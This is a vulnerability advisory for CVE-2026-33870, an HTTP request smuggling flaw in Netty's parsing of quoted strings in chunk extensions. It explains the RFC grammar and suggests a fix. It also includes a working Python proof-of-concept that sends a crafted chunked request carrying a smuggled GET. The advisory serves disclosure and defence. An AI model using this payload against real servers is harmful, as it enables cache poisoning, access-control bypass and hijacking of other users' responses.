CVE-2026-33870: Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

- <https://w4ke.info/2025/06/18/funky-chunks.html> - <https://w4ke.info/2025/10/29/funky-chunks-2.html>

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = ( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE ( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value ^^^^^ parsing terminates here at \r\n (INCORRECT) Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

python #!/usr/bin/env python3 import socket

payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" )

sock = socket.socket(socket.AFINET, socket.SOCKSTREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload)

response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break

sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

| Parser | Request 1 | Request 2 | |-----------------------|-------------------|------------------------------------| | Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) | | RFC-compliant parser | 400 Bad Request | (none — malformed request rejected)|

Impact

- Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection. - Cache Poisoning: Smuggled responses may poison shared caches. - Access Control Bypass: Smuggled requests can circumvent frontend security controls. - Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

1. Start the minimal proof-of-concept environment using the provided Docker configuration. 2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size. 2. If ';' is encountered, begin parsing extensions: a. For each byte before the terminating CRLF: - If CR (%x0D) or LF (%x0A) is encountered outside the final terminating CRLF, reject the request with 400 Bad Request. b. If the extension value begins with DQUOTE, validate that all enclosed bytes conform to the qdtext / quoted-pair grammar. 3. Only treat CRLF as the chunk header terminator when it appears outside any quoted-string context and contains no preceding illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1) - Funky Chunks Research - Funky Chunks 2 Research

Attachments

!Vulnerability Diagram

javanetty.zip